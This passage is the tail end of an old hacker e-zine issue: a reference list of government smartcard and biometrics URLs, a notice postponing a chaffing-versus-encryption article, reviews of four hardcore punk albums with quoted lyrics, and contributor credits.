    [d] https://www.senate.gov/member/va/robb/statements/floor/marc.html
    [e] https://www.senate.gov/member/va/robb/releases/nrsep25.html
    [f] https://www.monkey.org/geeks/archive/9804/msg00155.html
    [g] https://www.ec.fed.gov/gpedoc.htm
    [h] https://www.doncio.navy.mil/downloads/memo1.pdf
    [i] https://www.doncio.navy.mil/focusareas/smartcard/index.html
    [j] https://www.doncio.navy.mil/focusareas/smartcard/greatlakes.html
    [k] https://armyec.com/faqs_main.htm#10
    [l] https://armyec.com/smartcards/smartcards.htm#background
    [m] https://www.dtic.mil/armylink/news/Oct2000/a20001010cac.html
    [n] https://armyec.com/smartcards/cacpkipolicy.htm
    [o] https://www.ssa.gov/oig/auditpdf/9841007.pdf#xml=https://www.ssa. \
        gov/search97cgi/s97_cgi?action=View&VdkVgwKey=http%3A%2F%2Fwww%2 \
        Essa%2Egov%2Foig%2Fauditpdf%2F9841007%2Epdf&doctype=xml&Collect \
        ion=SSA&QueryZip=biometric%3COR%3E+%28keywords+%3Ccontains%3Ebio
        metric%29&
    [p] https://www.he.net/~dvk/imms/immtrack.htm


_/Further Reading

    https://armyec.army.mil/faqs_main.htm#smartcards
    https://www.smart.gov/information/plan/scplan.html
    https://www.smart.gov/information/guide/8physical.html
    https://www.gsa.gov/Portal/main.jsp?tab=home


_/Signed

.----------------------------------------------------------------------.
|                                                                      |
|  _azure                                                              |
|                                                                      |
`----------------------------------------------------------------------'

____________________________________________________________________
------------------------------------------------------------ - kynik
[=] 0x04: Chaffing as an Alternative to Encryption (Part II)

Unfortunately, due to a time crunch, I couldn't finish this article. All
of the code is done and ready to be thrown at you guys, but I'll wait
until issue 12 for that. Please be patient, and sorry for the delay.

_______________________________
----------------------- - kynik
[=] 0x05: Music Reviews

Anybody like hardcore? I know I do. I guess they're calling it 'new
hardcore', though, to distinguish it from its punkier, older uncle, which
included bands like Minor Threat and Gorilla Biscuits. (Both of which
rock!) So here are the albums, in no particular order:

Poison the Well
"The Opposite of December"

https://www.poisonthewell.com/ (down last time I checked)
https://www.wickedland.com/poisonthewell

I found an mp3 of Poison the Well's "Slice Paper Wrists" (track 4 on this
disc) about a year ago, and I was floored. It was right up my alley, being
a huge Vision of Disorder fan. That song found its way onto several mix
tapes and CDs until I actually bought the CD a few months ago. There's a
little hint of prog metal in this CD, and one song even starts out with a
In Flames-ish riff. Otherwise, it's good, solid, upbeat scream-sing-scream
kill-all-your-friends-and-cry-about-it-later music.

Choice lyric: "I could never swallow your false ideals."

Drowningman
"Busy Signal at the Suicide Hotline"

https://www.drowningmanhatesyou.com/

Besides having a knack for coming up with song and album titles that are
hilarious to those of us with a sick sense of humor, these guys are really
good. They're probably the heaviest of the four albums I'm reviewing this
issue. A minor gripe I have about this CD is that the screams are just so
distorted and loud that it almost fails to be distinct. That's not
necessarily a bad thing, though. This album feels like it comes and goes
way too quickly, though, only having 8 songs. With songs like these, the
intensity really makes you want more.

Choice lyric: "I'll tear your fucking heart out, you bastard."

Walls of Jericho
"A Day and a Thousand Years"

(couldn't find a website)

Ok, I bought this CD because of their schtick, but am I ever glad I did.
The schtick for this band is that their lead vocalist is female. You know
what? It hardly matters. The vocals are as good as any male hardcore
vocalist's and Candace is able to hit some stuff many guys couldn't. Walls
of Jericho have a slightly more punky approach to this genre, which may
seem redundant. I guess what I'm saying is they're closer to the 'old
hardcore' than the other albums---there's a lot of straight-up fast 2
beat drum parts with fast power-chording guitars. This CD also has the
punk-rock trademark of being really short, like the Drowningman disc
above...only 7 songs this time. (That's ok, it was cheap)

Choice lyric: "Does your life stand for anything? Ask yourself this."

Vision of Disorder
"From Bliss to Devastation"

https://www.vod.com/

I've been waiting for this album for a long time. It's considerably
different from all of the bands above and their previous albums. I say
this because there's a ton more singing going on than in a 'normal'
hardcore CD. Don't get me wrong, there's lots of screaming here too. I'm
not sure this'll be my favorite VOD album---it'd be damn hard to top their
self-titled debut CD. I think they took this more melodic approach to
songwriting in order to broaden their fan base and possibly land a radio
song or two. (Or if they're really unlucky, an MTV video.) Run, don't walk
to their website and listen to this... the CD is great.

Choice lyric: "What's the sense, there's only sorrow."

____________________
----------------- -
[=] 0x06: Credits

               Editor:  Kynik    <kynik@firest0rm.org>
           Co-Editors:  ajax     <ajax@firest0rm.org>
                        rsquared <rsquared@firest0rm.org>
Article Contributions:  echo8    <echo8@gh0st.net>
                        _azure   <azure@gh0st.net>

To subscribe to this 'zine:
  email napalm@firest0rm.org with a subject of SUBSCRIBE

To unsubscribe:
  email napalm@firest0rm.org with a subject of UNSUBSCRIBE

Or find us online at:
  https://napalm.firest0rm.org/

Submissions, questions, comments, and constructive chaos may also be
directed to kynik@firest0rm.org or any of the contributors

.n11! - eof